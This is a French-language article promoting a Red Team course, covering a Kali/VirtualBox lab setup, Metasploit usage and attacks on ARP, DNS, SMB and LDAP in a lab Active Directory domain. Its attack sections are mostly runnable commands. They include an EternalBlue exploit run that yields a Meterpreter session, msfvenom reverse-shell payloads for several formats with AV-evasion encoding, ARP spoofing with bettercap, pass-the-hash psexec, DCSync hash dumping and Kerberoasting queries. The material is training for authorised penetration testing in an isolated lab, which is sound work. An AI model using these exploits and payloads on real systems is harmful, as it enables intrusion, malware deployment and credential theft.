Network Security Red Team expliqué simplement (avec schémas et vrai code)
Network Security Red Team : l'essentiel en un article — vrai code, schémas et étapes concrètes, extraits d'un cours de 39 leçons.
Un guide qui va droit au but : Network Security Red Team décortiqué avec des schémas, des exemples concrets et des commandes testées. Tout vient d'un cours structuré de 11 chapitres — en voici le meilleur.
- Preparer son laboratoire Red Team
- Fondamentaux securite reseau
- Reconnaissance et enumeration reseau
- Exploitation et acces initial
- Mouvement lateral et pivoting
Installer Kali Linux et l’infrastructure de labo virtuel
À la fin de cette leçon, vous aurez : installé un hyperviseur (VirtualBox ou VMware), déployé Kali Linux dans une VM correctement isolée, configuré un réseau host-only pour le labo, et vérifié le bon fonctionnement des outils Red Team de base.
1. Prérequis matériel
💾 Minimum viable
⚡ Confortable
🏆 Idéal
Sous Windows :
systeminfo | findstr /i "Hyper-V" doit montrer « Yes » pour Virtualization Enabled in Firmware. Sinon, activer VT-x/AMD-V dans le BIOS/UEFI.2. Choisir son hyperviseur
| Hyperviseur | Prix | OS hôte | Avantages | Inconvénients |
|---|---|---|---|---|
| VirtualBox 7.x | Gratuit (GPL) | Win, macOS, Linux | Open-source, snapshots illimités, GOAD-compatible | Performances moyennes sur Windows 11 |
| VMware Workstation Pro | Gratuit (depuis 2024) | Win, Linux | Très rapide, NAT performant | Plus complexe à scripter |
| VMware Fusion Pro | Gratuit (macOS) | macOS (Intel + Apple Silicon) | Support ARM64 natif (M1/M2/M3) | Limitations sur Apple Silicon (pas de Win x86) |
| Hyper-V | Inclus Win Pro | Windows 10/11 Pro | Performances natives | Snapshots limités, conflit avec VBox |
| Proxmox VE | Gratuit | Bare metal | Production-grade, console web | Nécessite un serveur dédié |
VirtualBox pour la simplicité et la portabilité (Mac/Win/Linux), ou VMware Workstation Pro pour les performances. GOAD supporte les deux nativement via Ansible.
3. Installation de VirtualBox
Sous Windows
# Télécharger depuis https://www.virtualbox.org/wiki/Downloads # Version 7.0.x (stable) ou 7.1.x # Installation silencieuse via winget winget install -e --id Oracle.VirtualBox # Vérifier l'installation VBoxManage --version # Doit afficher : 7.0.x ou 7.1.x # Installer l'Extension Pack (USB 3.0, RDP, disk encryption) # Télécharger Oracle_VM_VirtualBox_Extension_Pack-7.x.vbox-extpack VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-*.vbox-extpack
Sous macOS (Intel)
# Via Homebrew brew install --cask virtualbox brew install --cask virtualbox-extension-pack # Approuver le kext dans Préférences système > Sécurité # (nécessite redémarrage)
Sous Linux (Ubuntu / Debian)
# Ajouter le dépôt Oracle
wget -O- https://www.virtualbox.org/download/oracle_vbox_2016.asc | \
sudo gpg --dearmor -o /usr/share/keyrings/oracle-virtualbox-2016.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/oracle-virtualbox-2016.gpg] \
https://download.virtualbox.org/virtualbox/debian $(lsb_release -cs) contrib" | \
sudo tee /etc/apt/sources.list.d/virtualbox.list
sudo apt update
sudo apt install -y virtualbox-7.0
# Vérifier
VBoxManage --version4. Télécharger Kali Linux
Kali Linux est la distribution Debian-based dédiée à la sécurité offensive. Elle inclut nativement plus de 600 outils.
# Page officielle : https://www.kali.org/get-kali/ # Option 1 : Pre-built VirtualBox VM (RECOMMANDÉ) # Fichier : kali-linux-2026.X-virtualbox-amd64.7z # Taille : ~3 Go # Avantage: VBox Guest Additions déjà installés # Option 2 : ISO installer # Fichier : kali-linux-2026.X-installer-amd64.iso # Taille : ~4 Go # Avantage: contrôle total sur l'install # Option 3 : WSL (Windows Subsystem for Linux) # Avantage: intégration Windows, léger # Inconvénient: pas de Metasploit DB persistante facile # Vérification de l'intégrité (TOUJOURS !) sha256sum kali-linux-2026.*-virtualbox-amd64.7z # Comparer avec la valeur publiée sur kali.org
Des miroirs malveillants ont déjà distribué des images Kali trojanisées. Toujours vérifier l’empreinte SHA256 contre celle publiée sur le site officiel.
5. Importer la VM Kali pré-construite
# 1. Décompresser l'archive
7z x kali-linux-2026.X-virtualbox-amd64.7z
# Crash 7zip ? Installer : sudo apt install p7zip-full
# 2. Importer dans VirtualBox (option A : GUI)
# File > Import Appliance > sélectionner le .vbox
# 3. Importer en CLI (option B : script)
VBoxManage import kali-linux-2026.X-virtualbox-amd64/kali-linux-2026.X-virtualbox-amd64.vbox \
--vsys 0 --vmname "Kali-Red-Team" --cpus 4 --memory 6144
# 4. Lister les VMs
VBoxManage list vms
# Doit afficher : "Kali-Red-Team" {uuid}Réglages recommandés avant le premier boot
VM="Kali-Red-Team" # Allouer 4 CPU et 6 Go RAM VBoxManage modifyvm "$VM" --cpus 4 --memory 6144 # Activer le clipboard partagé bidirectionnel VBoxManage modifyvm "$VM" --clipboard-mode bidirectional --draganddrop bidirectional # Activer l'accélération vidéo VBoxManage modifyvm "$VM" --vram 128 --graphicscontroller vmsvga --accelerate3d on # Désactiver l'USB 1.0, activer USB 3.0 VBoxManage modifyvm "$VM" --usb on --usbehci on --usbxhci on # Générer une adresse MAC fixe (utile pour les snapshots réseau) VBoxManage modifyvm "$VM" --macaddress1 080027AA1010
Metasploit Framework — modules d’exploits réseau
À la fin de cette leçon, vous saurez naviguer dans Metasploit Framework (msfconsole), sélectionner les bons modules d’exploit réseau, choisir un payload adapté, lancer un handler, et obtenir une session Meterpreter sur une cible vulnérable de votre labo.
1. Pourquoi Metasploit ?
Metasploit Framework (MSF) est le framework d’exploitation le plus utilisé au monde. Il regroupe plus de 2 300 exploits, 1 500 payloads, 700 modules auxiliaires et 600 post-exploitations.
✅ Forces de Metasploit
⚠️ Limites à connaître
Excellent pour : le pentest pédagogique, les CVE réseau classiques (SMB, RPC, RCE web), le pivoting de base. Moins adapté pour : les ops Red Team furtives modernes (préférer Sliver, Mythic, Havoc).
2. Structure de Metasploit
/usr/share/metasploit-framework/ ├── modules/ │ ├── exploits/ # 2300+ exploits par OS / service │ ├── payloads/ # 1500+ payloads │ ├── auxiliary/ # Scanners, brute force, sniffers │ ├── post/ # Modules post-exploitation │ ├── encoders/ # Obfuscation payload (peu efficace AV) │ ├── nops/ # NOP sleds │ └── evasion/ # Modules anti-AV └── data/ # Wordlists, templates
Catégories de modules
| Type | Description | Exemple |
|---|---|---|
| exploit | Code qui exploite une vulnérabilité | exploit/windows/smb/ms17_010_eternalblue |
| auxiliary | Scanners, fuzzers, brute force, DoS | auxiliary/scanner/smb/smb_login |
| payload | Code envoyé après l’exploit (shell, meterpreter) | windows/x64/meterpreter/reverse_https |
| post | Actions après session ouverte | post/windows/gather/hashdump |
| encoder | Obfuscation du payload | x86/shikata_ga_nai |
| evasion | Bypass AV/Defender | windows/windows_defender_exe |
3. Premiers pas dans msfconsole
# 1. Démarrer la base PostgreSQL (au boot) sudo systemctl start postgresql sudo msfdb init # une seule fois # 2. Lancer msfconsole avec base activée msfconsole -q msf6 > db_status # [*] Connected to msf. Connection type: postgresql. # 3. Créer un workspace par mission (CRUCIAL) msf6 > workspace -a mission_lab msf6 > workspace # * mission_lab <- l’étoile = workspace actif # 4. Importer un scan Nmap msf6 > db_import /tmp/enriched.xml msf6 > hosts msf6 > services -p 445 # 5. Recherche d’un module msf6 > search type:exploit eternalblue msf6 > search name:bluekeep platform:windows msf6 > search cve:2017-0144 # 6. Aide complète msf6 > help msf6 > info exploit/windows/smb/ms17_010_eternalblue
4. Anatomie d’un exploit Metasploit
# Séquence standard pour LANCER UN EXPLOIT msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(...) > show options msf6 exploit(...) > show targets msf6 exploit(...) > show payloads # Configurer les options OBLIGATOIRES (Required: yes) msf6 exploit(...) > set RHOSTS 192.168.56.20 msf6 exploit(...) > set RPORT 445 # Choisir un payload adapté msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_https msf6 exploit(...) > set LHOST 192.168.56.10 # votre Kali msf6 exploit(...) > set LPORT 8443 # Vérifier les options msf6 exploit(...) > show options # (Optionnel) vérifier que la cible est vulnérable msf6 exploit(...) > check # [+] 192.168.56.20:445 - The target is vulnerable. # Lancer ! msf6 exploit(...) > run # [*] Started HTTPS reverse handler on https://192.168.56.10:8443 # [*] Sending stage (203846 bytes) to 192.168.56.20 # [*] Meterpreter session 1 opened ... meterpreter >
5. Choisir le bon payload
Conventions de nommage
windows/x64/meterpreter/reverse_https ^^^^^^^^^^^ ^^^^^^^^^^^^ ^^^^^^^^^^^^^ | OS+arch | Type | Transport windows : Windows x64 : architecture 64 bits meterpreter : payload avancé (vs simple «shell») reverse_https : connexion sortante chiffrée vers attaquant
Transports principaux
| Transport | Direction | Furtivité | Quand l’utiliser |
|---|---|---|---|
reverse_tcp | Cible → Attaquant (port custom) | Faible (trafic suspect) | Labo, port sortant ouvert |
reverse_https | Cible → Attaquant (443 chiffré) | Bonne (TLS legitime) | Réseau d’entreprise standard |
reverse_http | Cible → Attaquant (80) | Moyenne (HTTP en clair) | Si HTTPS bloqué |
bind_tcp | Attaquant → Cible (port custom) | Faible (cible écoute) | NAT inverse, cible direct exp |
reverse_dns | Tunnel via DNS | Très bonne (rare) | Réseau ultra-segmenté |
reverse_winhttps | HTTPS via WinHTTP (cert pinning) | Excellente | Bypass proxy enterprise |
En labo :
reverse_tcp sur 4444 (rapide).En mission interne :
reverse_https sur 443 (passe les firewalls/proxies).Si proxy d’entreprise :
reverse_winhttps qui respecte les paramètres système.6. Multi/handler — recevoir des sessions indépendamment
Le module multi/handler est un « receveur générique » qui écoute pour des payloads générés séparément (avec msfvenom).
msf6 > use multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https msf6 exploit(multi/handler) > set LHOST 192.168.56.10 msf6 exploit(multi/handler) > set LPORT 443 msf6 exploit(multi/handler) > set ExitOnSession false msf6 exploit(multi/handler) > run -j # -j = job en arrière-plan # Voir les jobs actifs msf6 > jobs # Stopper un job msf6 > jobs -k 1
Générer un payload avec msfvenom
# EXE Windows
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=443 \
-f exe -o /tmp/payload.exe
# ELF Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.10 LPORT=4444 \
-f elf -o /tmp/payload
# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=443 \
-f psh-cmd
# DLL injection
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.10 LPORT=4444 \
-f dll -o /tmp/payload.dll
# Shellcode brut (pour custom loader)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=443 \
-f raw -o /tmp/shellcode.bin
# Encodé (Shikata Ga Nai pour bypass simple AV)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.10 LPORT=4444 \
-e x64/xor_dynamic -i 10 \
-f exe -o /tmp/encoded.exeProtocoles critiques pour le Red Team
À la fin de cette leçon, vous connaîtrez le fonctionnement et les faiblesses exploitables des 7 protocoles fondamentaux d’un réseau d’entreprise Windows : ARP, DNS, SMB, LDAP, Kerberos, RDP et WinRM. Vous saurez les identifier dans Wireshark et reconnaître quelles attaques chacun permet.
1. ARP — le premier maillon faible
ARP (Address Resolution Protocol) traduit IP en MAC sur un LAN. Sans authentification, c’est la cible numéro 1 sur un réseau interne.
# Voir le cache ARP local ip neigh show # ou arp -an # Empoisonner le cache d'une cible (en labo) bettercap -iface eth1 > set arp.spoof.targets 192.168.56.20 > set arp.spoof.fullduplex true > arp.spoof on > net.sniff on # Voir le trafic intercepté dans Wireshark sudo wireshark -i eth1
Faiblesses ARP exploitables
DAI (Dynamic ARP Inspection) sur switches Cisco/HP, 802.1X, ARP statique pour la passerelle critique, ou simplement chiffrement bout-en-bout (TLS, VPN) qui rend l’interception inoffensive.
2. DNS — l’annuaire qui parle trop
Le DNS est utilisé non seulement pour la résolution de noms, mais il révèle aussi la topologie Active Directory via les enregistrements SRV.
# Trouver le DC d'un domaine via DNS
dig _ldap._tcp.dc._msdcs.lab.local SRV
dig _kerberos._tcp.lab.local SRV
dig _gc._tcp.lab.local SRV # Global Catalog
# Trouver toutes les machines d'un domaine (Zone Transfer si autorisé)
dig @192.168.56.10 lab.local AXFR
# Reverse DNS sur un /24
for ip in 192.168.56.{1..254}; do
host $ip 2>/dev/null | grep -v NXDOMAIN
done
# DNS dynamique : enregistrer un faux nom (si autorisé en labo)
nsupdate -k /tmp/key.conf <<EOF
server 192.168.56.10
update add evil.lab.local 60 A 192.168.56.99
send
EOFAttaques DNS Red Team
| Attaque | Description | Outils |
|---|---|---|
| Zone transfer (AXFR) | Si autorisé, dump complet de la zone | dig, dnsenum |
| DNS cache poisoning | Empoisonner la cache d’un résolveur | dnspoof, mitm6 |
| DNS subdomain enum | Découvrir les sous-domaines (recon externe) | amass, subfinder, sublist3r |
| DNS tunneling C2 | Exfiltrer/contrôler via requêtes DNS | iodine, dnscat2 |
| NS records hijack | Prendre le contrôle d’un NS abandonné | nsec3walker |
3. SMB — le couteau suisse du Red Team
SMB (Server Message Block) = partage de fichiers, d’imprimantes, exécution à distance, transport pour RPC. C’est LE protocole d’attaque Windows.
# Énumération : version, OS, partages, users crackmapexec smb 192.168.56.0/24 crackmapexec smb 192.168.56.10 -u jon.snow -p 'Winter2026!' --shares crackmapexec smb 192.168.56.10 -u '' -p '' --users # Null session # Lister partages avec smbclient smbclient -L //192.168.56.10/ -U jon.snow%'Winter2026!' # Se connecter à un partage smbclient //192.168.56.10/Public -U jon.snow%'Winter2026!' smb: \> ls smb: \> get fichier_secret.txt # Mounter le partage sudo mount -t cifs //192.168.56.10/Public /mnt/smb \ -o username=jon.snow,password='Winter2026!',vers=3.0
Attaques SMB emblématiques
🏭 Pre-auth (sans creds)
🔐 Post-auth (avec creds)
# Tester un hôte pour EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 192.168.56.0/24
# Exploitation Metasploit (en labo seulement)
msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.56.20
msf6 > run
# Lateral movement PSExec avec hash NT (Pass-the-Hash)
impacket-psexec -hashes :32ED87BDB5FDC5E9CBA88547376818D4 \
administrator@192.168.56.10
# Dump des hashes (DCSync, nécessite droits DA)
impacket-secretsdump lab.local/administrator:'Pass!'@192.168.56.10 -just-dc4. LDAP — l’annuaire transparent
LDAP (port 389/636) expose tout l’annuaire AD : users, groupes, GPO, OU, ACL. Une simple authentification de domaine suffit généralement à le requêter.
# Recherche utilisateurs ldapsearch -x -H ldap://192.168.56.10 \ -D "jon.snow@lab.local" -w 'Winter2026!' \ -b "DC=lab,DC=local" -s sub "(&(objectClass=user)(objectCategory=person))" \ sAMAccountName description # Recherche des comptes Kerberoastable (avec SPN) ldapsearch -x -H ldap://192.168.56.10 \ -D "jon.snow@lab.local" -w 'Winter2026!' \ -b "DC=lab,DC=local" "(&(samAccountType=805306368)(servicePrincipalName=*))" \ sAMAccountName servicePrincipalName # Recherche des comptes AS-REP roastable ldapsearch -x -H ldap://192.168.56.10 \ -D "jon.snow@lab.local" -w 'Winter2026!' \ -b "DC=lab,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" # Recherche du schéma (toutes les classes) ldapsearch -x -H ldap://192.168.56.10 -b "CN=Schema,CN=Configuration,DC=lab,DC=local" cn
BloodHound : LDAP en graphe
# Collection complète depuis Kali
bloodhound-python -u jon.snow -p 'Winter2026!' -d lab.local \
-ns 192.168.56.10 -c All --zip
# Lancer Neo4j et BloodHound GUI
sudo neo4j start
bloodhound
# Drag & drop le .zip dans l'interface
# Requête : Shortest path to Domain Admins
# Requête : Find Kerberoastable UsersCet article couvre les extraits les plus utiles — le cours complet Network Security Red Team (11 chapitres, 39 leçons, exercices corrigés et projet final) t'emmène jusqu'au bout.
./acceder-au-cours-complet cours gratuit : Maîtriser Claude CodeFAQ
Combien de temps pour apprendre Network Security Red Team ?
Faut-il des prérequis ?
Par où commencer concrètement ?
📬 Tu veux recevoir ce type de guide chaque semaine ? Abonne-toi gratuitement — code réel, zéro blabla.